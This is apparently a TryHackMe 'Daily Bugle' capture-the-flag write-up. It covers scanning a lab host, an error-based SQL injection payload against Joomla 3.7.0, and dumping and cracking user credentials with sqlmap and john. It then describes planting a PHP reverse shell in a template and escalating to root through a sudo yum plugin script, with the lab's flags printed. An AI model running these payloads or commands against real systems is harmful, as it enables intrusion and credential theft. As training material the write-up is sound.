Skip to content

Daily Bugle TryHackMe - Hard

This challenge focuses on exploiting a critical SQL injection in Joomla to gain access and escalating privileges to root.

Reconnaissance

Target: 10.65.151.124

Initial port scan to establish the attack surface.

nmap -sS -sV -p- --min-rate=1000 -oN nmap_res 10.65.151.124
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)

Parallel directory fuzzing with ffuf revealed a massive amount of accessible directories. Visual inspection of the web application and validation via the Wappalyzer extension confirmed the target is running the Joomla CMS.

Enumeration

Because Nmap and source code inspection failed to disclose the exact Joomla version, I pivoted to Metasploit's auxiliary modules to aggressively fingerprint the instance.

msfconsole -q
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(...) > set RHOSTS 10.65.151.124
msf6 auxiliary(...) > run
[*] Server: Apache/2.4.6 (CentOS) PHP/5.6.40
[+] Joomla version: 3.7.0
[*] Scanned 1 of 1 hosts (100% complete)

Joomla 3.7.0 is notoriously vulnerable to a com_fields SQL Injection (CVE-2017-8917). I manually verified the injection point by appending a stray quote to the list[fullordering] parameter to force a syntax error.

GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml' HTTP/1.1
Host: 10.65.151.124

The application threw an explicit database error, confirming the vulnerability.

Efficiency

Instead of relying on sqlmap to blindly brute-force the table prefixes (which takes excessive time), you can manually extract the exact table name using an updatexml error-based payload.

I crafted a payload to leak the hex-encoded table name directly into the error response:

http://10.65.151.124/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0,concat(0x7e,(SELECT HEX(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)),0x7e),0)

Decoding the hex output returned fb9j5_assets. Stripping the suffix gives us the critical table prefix: fb9j5_.

Exploitation

Armed with the correct prefix, I targeted the fb9j5_users table to dump credentials using sqlmap.

sqlmap -u "http://10.65.151.124/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T fb9j5_users --dump --no-cast --batch

Extracted Credentials:

  • User: jonah
  • Email: jonah@tryhackme.com
  • Hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

The hash is bcrypt. I spun up parallel cracking efforts to optimize time:

john --wordlist=/usr/share/wordlists/rockyou.txt jonah_hash.txt --format=bcrypt 

text Hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm Result: spiderman123

text Hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm Result: Not found.

With the credential jonah:spiderman123, I authenticated to the Joomla administrator backend. To gain code execution, I modified a default PHP template and injected a reverse shell, accessible at /templates/template_name/shell.php.

Execution granted a shell as the apache service account.

Rabbit Hole

After landing the apache shell, I noticed the user jjameson in /home and wasted 1.5 hours trying to laterally move directly into that directory or find SUID binaries. I completely neglected standard post-exploitation web enumeration. The actual path forward was simply reading the database password stored in plaintext inside the web root's configuration.php file, which happened to be reused for SSH. Lesson: Never skip basic config file enumeration.

Retrieving the password from configuration.php, I SSH'd directly into the box.

ssh jjameson@10.65.151.124
[jjameson@dailybugle ~]$ cat user.txt
# 27a260fe3cba712cfdedb1c86d80442e

Privilege Escalation

Checking the sudo privileges for jjameson reveals a clear path to root.

[jjameson@dailybugle ~]$ sudo -l
# User jjameson may run the following commands on dailybugle:
#    (ALL) NOPASSWD: /usr/bin/yum

The yum package manager has a known GTFOBins bypass allowing arbitrary command execution by loading a custom RPM plugin.

Important

Executing yum with the plugin flag requires setting up a dummy RPM repository or forcing the evaluation of an inline script.

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enablerepo=update
sh-4.2# whoami
root
sh-4.2# cat /root/root.txt
# eec3d53292b1821868266858d7fa6f79

Post-Mortem & Methodology Notes

  • Don't Overlook Configs: Always prioritize the enumeration of configuration files (.php, .xml, .conf) in the web root. They are gold mines for credential reuse.

  • Version Precision: In CMS-heavy environments, getting the exact version number is 90% of the battle. Use specialized scanners (Metasploit, JoomScan) early.

  • Manual Verification: Before letting sqlmap run for hours, verify the injection point manually to save time and identify table prefixes.

  • GTFOBins Proficiency: When sudo -l shows a package manager (yum, apt, dnf), it’s almost always a guaranteed path to root via plugin or update hooks.